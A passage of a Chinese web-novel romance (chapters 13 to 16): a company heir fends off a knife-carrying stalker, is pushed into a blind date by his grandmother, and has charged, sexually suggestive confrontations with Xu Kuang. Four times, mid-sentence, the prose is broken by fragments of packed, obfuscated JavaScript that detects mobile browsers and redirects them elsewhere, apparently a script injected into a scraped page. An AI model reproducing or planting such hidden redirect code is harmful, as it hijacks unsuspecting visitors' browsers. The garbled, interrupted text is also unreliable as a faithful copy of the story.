郁书青把脸贴在爷爷的手背上:“您快好起来。” 可郁为民不理他,再次被湖里的景象吸引,那双略显浑浊的眼球,聚精会神地盯着展开翅膀的天鹅,嘴角抿得很紧。 回去路上,郁书青又闷着不说话了。 白可心也不劝他,知道老年人这种情况心急不得,任你家财万贯,权势滔天,可黄泉路上无老少,意外来临之际,谁又能真的坦然呢? “去公司吧,”郁书青还在看窗外,“这天是不是又要下雨了?” 层层的黑云往下压,空气也燥热潮湿,也不知太阳还能再撑多久,只有西边那儿的天还泛着点黄。 白可心说:“你还没吃午饭呢。” 郁书青不以为然:“你给我拿个面包。” 白可心“哎”了一声,又说:“不吃点热乎的?” “那给牛奶热一下吧。” 这话一说,给白可心气笑了。 郁家做实体餐饮,光高端甜品店就在省内开了近千家,结果老板就在这啃冷面包果腹——吃的还不是自家的,是从便利店随手拿的。 她停好车,往电梯那走的时候还是没忍住:“哥,你也得注意下身体,毕竟刚生完病……” 郁书青看了她一眼。 白可心立马噤声:“……郁总。” 这会儿刚下午三点,地下停车场里没啥人,一点脚步声就给放的很大。 被扯到身后时,白可心才反应过来,刚才郁书青警告的那一眼,不是因为她的嘴快。 而是因为,一把锋利的匕首。 “就你……欺负我女朋友?” 电梯附近的杂物间里,一个穿着工字背心的男人出现,染了黄发,嘴里叼根烟,掂着的匕首闪着寒光:“你他妈以为自个儿有点臭钱,就真的不要命了啊?” 白可心下意识地抬头。 “别看,监控老子给搞坏了。” 男人朝他们走近:“这事你必须给老子一个说法。” “草,”白可心低声骂道,“我算是知道,为什么姑娘家里不同意了。” 郁书青还有心思附和:“就是。” “老子跟你们说话呢,”男人挥舞了一下匕首:“装没听见?想死是不!” 这是他们公司的总部大楼,郁书青也没想到,这人能悄没声地摸进地下停车场,还带着管制刀具候着,来者不善,他注视着对方的眼睛:“你先冷静一下。” “有什么冷静的?” 男人的声音在车库回响:“你他妈的给老子女朋友灌醉,信不信……” 郁书青已经拿出手机:“嗯,你快点报警。” 男人明显地愣了一下,紧接着,毫不犹豫地冲过来,眼看就要动手—— “叮!” 电梯的打开声像是一个休止符,生生止住了彼此的交锋。 “哇哦,” 徐矿单手撑着电梯门,另只手把墨镜往下扒拉,露出好奇的眼眸:“都这么大了,还在打架?” 说完,他就慢条斯理地按上关门键:“我就一路过的,什么都没看见啊,血可别溅我身上。” 这人今天穿得贼拉显摆,一身纯黑定制西装,红色领带,头发全部往后梳,露出优越的眉眼,偏偏说话像带了波浪号,骚了郁书青一脸,而白可心还惊魂未定地举着包包,做好了随时冲上去的准备。 然后,他们就眼睁睁地看着,电梯门关闭了。 数字变换,电梯上行。 不是,这人怎么突然闪现了一下? 还真的大气都不喘,水灵灵地就离开了。 白可心僵硬地回头:“……哥?” 而就在这电光火石间,清脆的“当啷”一声传来,随之就是男人的惨叫,郁书青没放过对方走神的功夫,踹飞匕首的瞬间,一个箭步反剪了男人的双手—— 与此同时,另一间电梯门打开,几名西装革履的保安一涌而出,七手八脚地控制住了挣扎的男人,白可心原本还想跟着用包包砸两下,但郁书青朝她走来。 他声音很小:“你先去查监控那边。” 白可心立马会意:“好。” 剩下的事已经不需要郁书青考虑了,他走进空荡荡的电梯厢,按下了通往某一层的键。 轻微的失重感传来,在这个瞬间,郁书青突然很想捏点什么。 最好是面包,没什么声音,不浪费,最后还能吃掉。 可他只是整理了下衬衫,在电梯门打开时,一步步地朝外走去。 这层只有董事会的人才能进入,没有穿梭的工作人员,也没有敲打键盘的声音,落地窗隔绝了外界的嘈杂,将隐隐的啜泣声放到最大。 郁书青拧了下眉头,快步走向前方。 不出所料,徐矿正坐在沙发上安慰郁雪玲,而郁锋则坐在对面,满脸的不快。 “奶奶,”他俯下腰,“您怎么了?” 郁雪玲还在拭泪,而郁锋一改前两日的窝囊,斥责道:“你还好意思说!” “不舒服吗,”郁书青就像没听见似的,柔声道,“还是出了什么事?” “小咪,”郁雪玲一把抓住他的手:“就当奶奶求你了,快点结婚好不好……昨天我才看了你爷爷,晚上就做了噩梦!” 郁书青挨着她坐下,小心地将满头银发的老人揽在怀里。 “奶奶,”徐矿极有眼力见地站起来,“那我就先走了,过几天再来看您。” 郁雪玲抽噎了下:“好孩子,你路上慢点啊……” “好嘞。” 徐矿彬彬有礼地离开,而郁书青压根就没看他一眼,想也知道,这人此时过来没安好心,定是打着看望郁雪玲的旗号,来凑热闹,他可不知道徐家什么时候和奶奶关系这么好了,明明之前也没听说过—— 郁书青的眉头皱了下,很快神色如初。 头痛突如其来,又消失得很快。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047910|136813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>屋里重新恢复安静,郁雪玲才哽咽道:我知道这样对你不公平,可是,实在没办法……你都不知道那个梦有多吓人,我害怕,我实在是怕得睡不着。” “奶奶,”郁书青宽慰道,“我刚才去看过爷爷了,他很好。” “不!” 郁雪玲坐直身子:“一点也不好,我梦见他……” 她似乎陷入某种惊恐的回忆里,双手捂住脸,发出长长的泣音。 “别着急,”郁书青一下下地抚着她的后背,“结婚不是儿戏,哪儿能说结就结呢,也要看别人同意不同意啊。” 郁雪玲瘦弱的肩膀还在抖,好一会儿才停止哭泣,拿出手帕拭泪:“所以今天我过来,就是盯着你相亲,不然,你压根不听你二叔的话。” 郁书青沉默了下,视线从郁锋脸上划过,他想不通这人脑回路究竟什么样,干嘛费这么大力气,就为了能让他去领个证? 郁锋的右手还缠着绷带,一直背在自己身后,没敢和郁书青对视。 “行吧,”郁书青答应下来,“我愿意相亲的。” 大不了签份协议,共同应付下老人家得了,他不相信哪个女孩能这么轻易地走入婚姻,把终身大事看做儿戏。 郁雪玲把手帕放下:“好,这可是你说的,要是姑娘愿意,你就点头?” 这倒也不必。 但郁书青一心只想哄奶奶高兴,于是没犹豫: “嗯。” “那就让阿妍过来吧,”郁雪玲眼睛都亮了,忙不迭地冲郁锋招手,“人家姑娘也等老半天了!” 郁书青一愣。 这不就是之前那小姑娘吗,五分钟前,人家男朋友可是掂着水果刀找上门了,这又是闹的哪出? “快点呀,”郁雪玲催促道,“是不是害羞,不好意思出来了?” 话音落下,侧面的门就打开了,闫妍低着头走进来,眼神空洞,脸色很白。 “阿妍对你一见钟情呢,”郁雪玲低声和郁书青咬耳朵:“你也得表示一下,有点绅士风度呀。” “我……” 闫妍怯怯地看了眼郁锋,眼神都不知道该往哪儿落了,抿着嘴低下头。 郁书青立马站起来:“时间不早了,要不我俩出去转转?” “也好,小年轻看看电影,吃个饭什么的,”郁雪玲终于露出欣慰的笑容,“晚上回家睡,奶奶等你们的好消息啊。” 郁书青微笑地点头,而闫妍也小心翼翼地跟在他后面,两人同时消失在电梯时,郁锋才坐到了母亲旁边。 “妈,您就是太心软了,”他说话的语气满是埋怨,“明明这件事也是对孩子好,但你就是藏着不告诉他,我看啊,这事悬!” 郁雪玲攥紧了帕子:“我、我又该怎么办呢……” 曾经那场意外的车祸,差点带走了她最爱的孙子,在郁书青昏迷不醒的几天里,向来不信鬼神的郁为民甚至去庙里跪拜,说拜托菩萨,保佑他家的小咪。 “这孩子有两个大劫。” 当时的大师,是这样告诉他们的。 “一次是这场车祸,是人祸,另一次则事在人为,可以避开。” 郁为民恭敬地伏在蒲团上,说请大师指点,多少钱都可以,只要孩子能够平平安安。 “出家人,怎么能说钱呢,这叫缘,六十六万六千六百缘。” 这笔香火钱不算什么,就当一点心意,而更为重要的是,在大师做法之后,郁书青真的清醒了过来。 只是失去了一段记忆。 郁为民千恩万谢,同时也把另外一个劫铭记在心。 就是说在郁书青二十六岁前,必须结婚,否则就有性命之虞。 为着知道这个破解之法,郁为民又花了不少的钱,他平日里就乐善好施,虽然不信这些东西,但是毕竟是自己儿子介绍的大师,而孙子也真真切切地在医院清醒。 忘了点东西没什么,无关紧张的后遗症罢了,正常,何况说不定哪天就突然想起来了。 沉浸在喜悦里的郁为民不疑有他,只是可惜,这位大师说是要云游,不久后就销声匿迹,哪怕再次询问郁锋,也不知道对方的踪影。 如今,离郁书青的生日,只有不到两个月的时间了。 “要说这是他的劫,小咪一定不信,”郁雪玲叹了口气,“可说是为了爷爷……都怪我,早些年没有催着让孩子谈恋爱,我像他这么大的时候,都有你了。” 郁锋敷衍地应和了几句,眼睛盯着自己掌心的绷带。 郁雪玲继续道:“想来也是两全其美的好事,说不定看到小咪结婚,爷爷他一高兴,就好起来了呢……” 她殷切地看向儿子:“阿锋,你说是吗?” “当然,” 郁锋扯出一个笑,脸颊上的肌肉跟着抖了几下:“这一定是……两全其美的好事。” 14.第 14 章 “我爸爸说这是好事,可我知道……对不起!” 还好他们坐在咖啡馆最角落的位置,此时没什么客人,流淌的音乐遮掩了女孩的哽咽。 闫妍捂着脸,掌心攥的纸巾已经湿透了,再次向郁书青道歉。 “我这边没关系,” 郁书青单手托着腮,面前放着一小份焦糖红茶布丁,外面的雨已经有要下的趋势了,雷声隐隐,他的表情却没半点不耐:“只是,你男朋友那边怎么说?” “啊?” 闫妍明显呆滞了一下,露出微肿的红眼睛:“你怎么知道……” 她和男朋友的恋情隐瞒得很好,只是前不久才被父母发现,大吵一架,说她好好一个大学生,跟一个不三不四的混社会男的搞一块,不嫌丢人吗? 妈妈气得吃降压药:“那男的蹲过局子!” 闫妍低着头:“他已经改了。” “家世,学历,人品,你说说,他哪样能拿得出手?” “他对我挺好的……” 闫妍这辈子都忘不了,当她在小巷子里被一群流氓堵着时,李昂像是电影里的英雄一样出现,仿佛一束光,照亮了她少女时期的所有灰暗。 妈妈说的那些,她当然知道。 可是李昂说了,自己会改的,他们会结婚,会买一所小而温馨的房子,生两个孩子—— 虽然当时闫妍立马摇头,说我不要,即使有孩子,也只要一个。 李昂多宠她啊,立马说可以,都成。 所以,只需要再给他们一点时间,所有的阻碍总能解决,闫妍又不贪心,从小到大,别人都说男孩子后劲大,那么凭什么不能再等等李昂呢? “咔嚓。” 郁书青拿小银匙敲那层焦糖,不知是在玩,还是在静静地想事情,硬壳碎出蛛网似的痕迹,他才伴着外面的雨声,慢悠悠地舀了一口。 “他跟踪你,” 绵软的布丁在唇齿间化开,郁书青没有抬眸:“刚才在地下停车场,你男朋友破坏监控,携带管制刀具,现在已经被警方控制了。” 闫妍张了张嘴,一时没反应过来。 “我不知道你怎么跟他说的,”郁书青是真有点饿了,继续小口吃着那份布丁,“但是很遗憾,我不能再配合这场相亲了。” 布丁份量小,很快就吃完了。 郁书青拿纸巾擦嘴巴:“家里这边,我会说是我的问题。” 闫妍缓了好一会,肩膀垮下去:“抱歉。” 咖啡馆的门打开,有西装革履的保镖在外面等着,雨势渐大,闫妍走到伞下的时候,还是没忍住地回头—— 郁书青没有亲自送她,而是又要了一杯热可可。 即使她有男朋友了,也不得不承认,郁书青是那种走在路上,会被自己偷偷打量的男人。 但潜意识也在告诉自己,不,郁书青不是会在大马路上,就普普通通能遇见的人,怎么说呢,这人的长相就有些“不接地气”,平日里待人温和,但举手投足间还是难掩贵气,如若不是她姨妈攀上了郁家,闫妍觉得,自己这辈子都不会和他坐在一起吃饭。 她苦笑了一下,沉默地坐进车中。 而与此同时,郁书青把那杯热可可放下,没忍住,用指尖点了点玻璃杯沿儿。 “怎么着,我看您心情不太好啊。” 对面还戴着墨镜,看不出眼眸里的神情,但唇角泛着明显的戏谑。 郁书青懒得搭理他,没吭声。 “别误会,”徐矿懒懒地靠在沙发上,“是郁奶奶让我帮忙盯着的,说有什么消息,及时告诉她,结果……” 他嗤笑一声:“你还放人家姑娘鸽子?” 徐矿原本就是过来看热闹的,没曾想热闹没起来,倒是郁书青在他眼皮子底下吃了一份焦糖布丁,喝了整杯的热可可,这会儿眼睛又落在菜单上,似乎还没过瘾。 “喂,想什么呢?” 他轻轻地打了个响指,终于,郁书青抬起头来。 ……想去超市,把手指插进大米里面。 但这话他肯定不能告诉徐矿。 不是说觉得自个儿的癖好太诡异,都是捏面包,插大米之类,郁书青不觉得这有多么莫名其妙,难道一个正常的人类走进超市,看到码得整整齐齐、洁白莹润的大米,会忍得住不把手直直地插到里面吗? 那种陷进冰凉的触觉,真的,非常解压。 白可心不让他这样,说也太接地气了。 “哪儿有公司老板下班,不去打高尔夫或者应酬,跑超市玩大米的?” 她惊讶而笃定地说:“你要喜欢,我在屋里给你放几个筐,装满大米给你玩。” 郁书青:“……那就不用了。” 所以这会儿,他沉吟片刻,还是对徐矿开口:“在想怎么给你打发走。” “别想了,”徐矿轻飘飘地笑了下,“好歹也是郁奶奶的任务,我得看完。” 郁书青收回手:“你是不是有病?” 徐矿毫不客气:“你难道没有?” 白色的闪电撕裂沉闷的天空,落叶混杂着传单一块儿打着旋往上飞,又被风狠狠地刮在电线杆上,整个城市都变得黏腻、闷热,连日的烦躁终于破土而出,郁书青拧着眉瞪对方:“我怎么了?” 徐矿呛过去:“你明明是gay,还和女孩约会,难道不是有病?” 郁书青一口气憋在胸腔,半天才给顺下去:“我怎么就是gay了?” “你都和我睡觉了,”徐矿不可思议地看着他,“难道不是吗!” “那你呢,按这种说法,你也是gay。” “真不好意思,我不是。” “哈?” “身为你以前的好朋友,”徐矿抱着肩打量他,“我只不过是在你喝醉的时候,避免你被人捡尸罢了。” 郁书青忍着拿杯子往人脑袋上砸的冲动:“那我不还是被你捡了?” “抱歉,是你先亲我的,我是被迫的。” “你胡说!” 郁书青这会儿也顾不上自己在外面了,偌大的咖啡厅里,两人小小的争执倒是没有引来动静,只有屋檐下挂的黄铜铃铛,在风雨中晃出清脆的铃声。 “怎么,”徐矿哼出一声笑,“要我帮你再回忆一下吗,那天晚上你在大马路上碰瓷,我好心好意送你去酒店,刚下车你就亲我,去了酒店更是……” 他顿了顿:“不堪入目。” 郁书青要气炸了。 “不是你情我愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062501|136813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 他双手撑在桌子上:“谁用领带把我的手绑着,又是谁跟狗似的按着我做了一晚上?你甚至连清理都不做,害得我第二天就进医院,你好意思?” “不好意思——” 徐矿紧接道:“所以我给你赔罪啊,结果你不是在我身上打了个结,你说说,多危险啊,万一不能用了该怎么办?” 郁书青冷冷地看着他:“那最好。” “真不幸,”徐矿竖起一根指头,晃了晃,“托你的福,它现在依然很好,你要是愿意,今晚照样能让你……” 说到这里,徐矿终于有些羞赧似的,偏头吞咽了下,没再继续。 郁书青忍无可忍:“你不要脸!” “哦,那又如何,你是gay。” “我那天只是喝醉了,再说,即使是gay又怎么着,现在同性婚姻都是合法的,难道你歧视?” “嗯,我不歧视,只是你是gay。” “这个世界上也不是只有两种性向,拜托,一次的性-行为决定不了什么!” “知道了,你是gay。” 郁书青很少跟人这样吵架,无意义,浪费时间,还会引起不必要的情绪波动,这种幼稚愚蠢的斗嘴得不出任何结论,最重要的是,他这样的年龄身份,已经没有人能跟他这样有来有往地争执了。 他气得闭了闭眼。 “好,”郁书青长长地吁出一口气,“说吧,你现在想要什么?” 狗屁的童年玩伴,他不信自己曾经有过这样的好友。 英俊又如何,看着这张脸,就有种想要往上揍一拳的冲动。 现在的郁书青,已经可以抛开这张脸了! “简单,”徐矿这才拿开自己的墨镜,露出一双含笑的眼,“承认你是gay。” “我是不是gay关你什么事?” 郁书青的指节都有些隐隐发白:“少吃点盐,看你天天闲的。” 他也真够闲的,好好的,干嘛在这里和不相干的人吵架,小学生也没这样无聊。 “哦,那你就是承认了,”徐矿眼眸里的笑意加深,“你,郁书青,你喜欢的是男人,我是男人,所以,你喜欢我,才故意睡了我。” 什么逻辑鬼才。 空气中还泛着淡淡的可可味儿,别说,这家店的饮品做的不错,郁书青想,下次可以再来尝尝。 就是可惜,他已经喝完了,否则完全可以泼在徐矿的脸上。 “找趁手的家伙呢?” 徐矿的指尖点了点桌面:“你怎么一言不发就想打架啊,多大了,幼稚不幼稚?” 郁书青微笑着看他,不说话。 若是往常,看到郁书青这个表情,徐矿定会不由自主地打个哆嗦,但他今天已经破罐子破摔,那句话怎么说的,虱子多了不怕痒,他只是慢悠悠地伸手,逗猫似的挠了下郁书青的下巴。 都快炸毛了,安抚下吧。 “那个,说正经的。” 徐矿的眼神终于闪烁了下:“我知道自己不喜欢男人,但这两天总有些怪怪的……所以……” 他像是下了莫大的决心。 “看在你喜欢我的份上,能不能再亲一次,让我看看自己到底怎么回事啊?” 15.第 15 章 徐矿也不是故意往人家身边凑的。 主要这两天,他也着实没睡好。 他家有钱,几辈子的积淀到现在培养出一个自由的徐矿,对所谓的卖金子毫无兴趣,反而多了一身艺术细胞。 当然,徐矿也没指望靠这个弄出点名堂。 他就像最散漫的蝴蝶,扑着翅膀飞来绕去,在这朵花上停留些许,又被另一处蓓蕾吸引了目光,这些年来,格斗、马术、曲棍球以及冲浪什么都尝试过,但都淡淡的,最终也只剩下个绘画,稍微坚持了下来。 主要是这个过程中,徐矿能感觉到一种奇异的安静。 可盯着画板上的几笔涂抹,他坐不住了。 总感觉,很像郁书青的嘴唇。 那水红色的,有着微微的肉感,在最下方还有一颗小痣的,被他亲过的嘴唇。 徐矿连着做了好几个深呼吸,还是觉得,挺郁闷的。 一次滚床单算不了什么,事实上,当时他醒来还拍着胸口,觉得好险,差点变成gay了,但现在总觉着有些不对劲,尤其是晚上做了个瑰丽的梦后,徐矿当机立断,跑来找郁雪玲了。 老太太一问,啥话都往外说。 “小咪从来没谈过恋爱的呀,都怪我,早些年说事业为重,但没想到他真的都不出去约会的。” “你也帮我盯着他,看看情况到底怎么样,好不好?” 咖啡厅的角落很安静,徐矿的身影半隐在那株高大的凤尾竹后面,看着郁书青吃掉焦糖布丁,自个儿面前的冰美式倒是一口没动。 怎么说呢,他心里翻涌着一种冲动,就是想给人惹了,弄恼了,然后给郁书青翻开肚皮逗弄。 徐矿当然成功了。 因为他逗猫似的拿手挠人家下巴,郁书青都一动不动,只是微笑。 徐矿看了会儿,突然说:“你听说过鳄鱼的死亡翻滚吗?” 他又接着:“那你这个就可以称为死亡微笑了……是不是在心里已经想好怎么肢解,埋尸了?” 郁书青打开徐矿的手:“我不做犯法的事。” “成,亲嘴总不犯法吧?” 徐矿锲而不舍:“你再跟我亲一次,让我找找感觉。” 郁书青还在笑:“然后呢?” “要是很有感觉的话……”徐矿沉吟片刻,“说明我可能真的弯了那么一下,那我得思考自己的性-取向,看看究竟是怎么一回事了。” 他似乎真的在苦恼,双手交叉撑在桌上,这个动作,能清晰地看出男人健壮的手臂,在西装的包裹下崩得很紧,显示出旺盛的生命力,和难以言喻的力量感,这点,郁书青当然知道,那天晚上,对方一条胳膊就能给他抱起来,他像是在海里濒临窒息的鱼,所有的呼吸和重量都消失,只有含糊的呜咽声证明自己的存在,以及—— 郁书青的视线,落在徐矿的肩膀上。 过去好几天,也不知道咬的那一口,疤痕还有没有消除。 现在想想,应该往咽喉那儿咬,让他见识下什么叫真正的死亡翻滚。 见着郁书青不搭话,徐矿自顾自地继续:“要是没有感觉,那就皆大欢喜,说明我只是一时糊涂,你看看古代的书生在晚上,遇见那花里胡哨的小妖精,当然忍不住……我也就当大发慈悲,被你吸了一次阳气算了。” 郁书青冷冷道:“那我还得谢谢你?” “这就不用了,”徐矿又想去挠人家的下巴,忍了忍,“再跟我亲一次,得出结论就好了……” 他觉得自己的提议相当哇塞。 “亲一次算什么,”郁书青已经站了起来,“不如再睡一次,岂不是结论更清晰?” 说完,他就旁若无人地往前走去,步伐沉稳,却没带走热可可的甜腻味道,这会儿就像被释放出来似的,净往徐矿鼻子里钻。 徐矿傻眼了。 他快走几步跟在后面:“喂……不必做到这种地步吧?” 虽然,他也偷偷地想了那么一下。 “你要是想看自己是不是gay,亲吻判断不了,”郁书青已经要伸手推开咖啡馆的门了,“来啊,看你还能不能对着男人再起一次反应。” 黄铜铃铛响起,随即淹没在沉闷的雨声里—— 徐矿已经提前伸手,帮着推开咖啡厅的门,动作还蛮绅士。 郁书青站在人行道上,背后是咖啡厅的巨幅玻璃窗,前面是连绵的雨势,雷声隐隐,空气潮热,湿溻溻的落叶被风裹挟着卷起,高大的行道树叶子被洗刷得很亮,可都不如郁书青此时的眼睛。 因为他正对着徐矿,笑意盈盈。 “怎么样,我的车就在外面停着,要不要进去?” 徐矿觉得自己的大脑有些浑浊。 甚至他都开始唾弃自己。 有句话说的是,男人都是小头指挥大头,在一些特殊的情况下,经常会让人怀疑脑子和勾八是不是长反了位置,否则,怎么会做出一些不清醒的事来呢。 徐矿不是这种人。 事实上,他认为自己的欲-望也不是特别强烈。 他就像所有的愿望都被满足了的小孩似的,对世间的很多事提不起兴趣,你不能指望一个从小住在迪斯尼城堡的孩子,会对着花车游行和盛装的公主尖叫。 徐矿对一切都兴致缺缺,这能让他在纸醉金迷中保持隔阂,他可以和朋友飙车,喝酒,可肾上腺素并没有获得什么提升,他抽身在外,永远保持着戏谑的冷淡—— 但现在,他居然无法拒绝郁书青的邀请。 可怕! 好可怕的gay! 空荡荡的街道上,没有保镖或者助理或者雨伞,郁书青就这样快步走进雨中,他当然被淋到了,拉开车门的瞬间还不忘回头,冲徐矿笑了一下:“来呀!” 徐矿都不记得,自己是怎么晕乎乎地就上车了的。 他甚至连这是辆什么车,都没有看清。 后座的空间很大,足够两个成年男人把半湿的外套脱掉,就那几秒钟的功夫,肩膀处已经变了颜色,郁书青把衣服扔到副驾驶,随手捋了把头发,几缕散下来的碎发还带着水珠,顺着白净的脸蛋往下滑。 徐矿扯开了衬衫最上面的扣子,要解领带的时候,突然停下手。 只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079394|136813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湿了的衣服,贴在身上难受,想稍微往外扯一下。 他这会儿,并没有想和郁书青发生关系。 更何况,现在是在车上,什么准备的东西都没有,上次清理不到位,都害得郁书青病了一场,那么现在,当然不行。 “喂……”他努力把声音放轻松,“你这家伙是认真的吗?” 郁书青回眸看他:“当然,为了能帮助你认清自己的性-取向,算得了什么?” 徐矿的喉结滚动了下,本能地闭上了眼睛。 因为郁书青跨坐在了他的腿上。 而那双漂亮的手,曾经在他身上打了粉色蝴蝶结的手,正慢条斯理地解开领带,距离太近了,彼此的呼吸都可以听到,只是一个明显加重,另一个则不疾不徐,过了会儿,加重的那个深深地呼出一口气,而不疾不徐的那个,则发出短促的惊呼。 徐矿左手托着郁书青的后背,右手控制住对方的双手:“……不行!” “不行什么?” 郁书青歪着头看他:“这样最为方便,不是吗,你说过的啊,我们曾经是非常要好的朋友,那么朋友之间帮个忙很正常。” 徐矿的胸口剧烈起伏,一股邪火窜到他天灵盖又下去,憋得他浑身难受,可他就是不想继续,为什么呢,第一次和郁书青见面,就能做出耳鬓厮磨的事,可偏偏现在…… 他快被那股浅淡的可可味逼疯了。 “你……不能这样。” 郁书青挑起眉梢:“不能怎么样?” 徐矿说不出话了。 他不知道郁书青在国内的感情生活,对这种事是轻车熟路,还是避之不及,他空白的经验没法儿帮助判断,在来之前,徐矿已经做好了被人抽耳光的准备,被骂一顿也挺好,他觉得郁书青今天挺难过的,那么吵一次架,出出气—— 但不应该是这样。 “我不需要了,”徐矿突然开口,“是不是gay又怎样,反正我已经跟你睡过了,我不干净了。” 郁书青还跪坐在徐矿腿上,能清晰地感受到男人肌肉的紧绷,和嗓音里的一点颤抖,他怀疑过对方是玩咖,那当然要掌握主动权,可这会儿放弃是为了什么,郁书青想了下:“不在乎了?” 徐矿低着头:“嗯。” 郁书青被禁锢着双手,没法儿摸,这个姿势也不方便往下看:“那你现在有感觉吗?” 这次的回答,是沉默。 郁书青哂笑一声:“明明说是好朋友,你却对着我起-反应,说明什么?” 还没等他骂出来,就听见对方轻轻地叹了口气,接着,把脑袋靠在了郁书青的颈窝里。 发梢微湿,带着冷冽的凉意。 郁书青愣住了。 双手也随之被放开,他一时间有些无所适从,明明是跨坐在男人腿上,很暧昧的姿势,但由于徐矿这样埋进他怀里的动作,反而抹去了那点的旖旎。 甚至让郁书青犹豫了下,这个时候,他是不是得给人摸下头,顺顺毛? “拿你当朋友,却馋你身子,说明……” 徐矿声音很闷:“我下贱。” 16.第 16 章 郁书青的手停在空中,有那么点尴尬。 虽然他也是这样想的,但怎么可以这样直接就说出来了呢? 怪不好意思的。 于是他只好低头,温柔地附和道:“嗯,你说的没错。” 徐矿:“?” 这他可不乐意了。 “拜托,”他终于舍得把脑袋从郁书青颈窝处拿开,“这样的话我说说就行,你为什么要跟着说?” “我在安慰你,不行吗?” “你为什么安慰我?” 郁书青这个姿势有些不太舒服,毕竟男人的大腿一旦紧绷,就比较硬,更何况徐矿的另只手还在他后背托着,他不太习惯这种受制于人的感觉,于是不自然地挪了下身体:“因为你发现,自己变成gay了啊。” 徐矿长长地呼出一口气:“好吧。” 车内空间再怎么宽敞,叠坐着两个成年男人,也是不免有些局促,郁书青的双手放在对方的肩上,语调冷硬:“你倒是接受得挺良好。” “嗯,”徐矿很无所谓地笑起来,“想通了,我也不用再亲你了……当然,你要是想的话,我也可以看在曾经的情分上,配合一下。” 他本来就长得好,今天又穿得骚包,自从突然神经病似的想通后,那股烦躁感也没了,取而代之的是容光焕发的神情,简直像只漂亮的雄孔雀,昂首挺胸,踱着步子在那儿开屏。 郁书青闭了闭眼,默念一句,拒绝动物表演。 ……但是架不住动物非要表演。 于是,他也跟着露出一个甜美的微笑:“好啊。” 外面雨势瓢泼,车内的温度逐渐升高。 徐矿左手按在郁书青的后背上,能感受到掌心下的柔韧肌肤,再往右边一点,可以轻而易举地掐住腰侧,如果他贪心更多,一条胳膊就能完全圈住郁书青的全部腰身。 事实上,他也的确这样做了。 “你说的?” 徐矿箍着郁书青的腰,另只手的手指则深深插进对方的头发里,嗓音低哑,再往前凑近一点,就可以吻到水润的唇。 不知道还有没有热可可的味道。 郁书青的手按着他的肩,眼睛是半阖着的状态,长睫毛上的水汽消失,这会儿呈现出一种毛茸茸的质感,徐矿看了会儿,变了主意。 他抬起下巴,把那个吻,印在了郁书青的眼皮儿上。 一触即分。 轻得像是下雨后的田野里,一只蜗牛朝葡萄藤伸出触角,碰了下就缩回。 可两人仿佛都受了惊。 “你干什么……!” 郁书青本能地一巴掌甩过去,本来还想,徐矿要是真的胆敢在车上亲自己,他绝对不会轻易放过,可谁曾想这个落在眼睛上的吻,却比嘴唇上来得更加慌张。 “别打,”徐矿抓着他的手腕,“这么大的人,不要一言不合……” 话音没落,他就敏捷地捉住了郁书青的另一只手,朝对方扬了下眉梢。 现在的徐矿,已经不是以前的徐矿了。 当然知道郁书青会换另一只手打他! 而在几乎千分之一秒的瞬间,他又灵巧地往后一偏头,躲过了郁书青撞过来的脑袋,同时借势把对方整个人都牢牢抱在怀里:“我就知道你要这样,自己不疼吗?” 刚才的温和没了,郁书青使劲儿挣扎:“放开我!” “外面还下着雨呢,嘘,别闹。” 郁书青的眼角都要红了,不管不顾地往外挣,眼看就要一口咬到徐矿的肩膀上—— 铃声突兀地响起。 徐矿从侧面摸索出手机,只剩一只手来控制郁书青,慌乱中只扔下个警告的眼神:“小声点,是你奶奶。” 郁书青才不理他,趁机摆脱控制的瞬间,提膝撞上了徐矿的腹部。 “砰!” 两人扭打着同时倒在后座,郁书青的后背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101860|136813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砸在坐垫上,闷声还没发出就被徐矿捂住了嘴,与此同时,郁雪玲的声音通过电波传来。 “喂,小矿呀……” “奶奶,”徐矿身上也出了汗,钳制郁书青不是件容易的事,上次是因为对方喝了酒浑身发软,这会儿他只得捂着郁书青的嘴,把自己的全身重量都压在对方身上,放慢呼吸,“有什么事吗?” 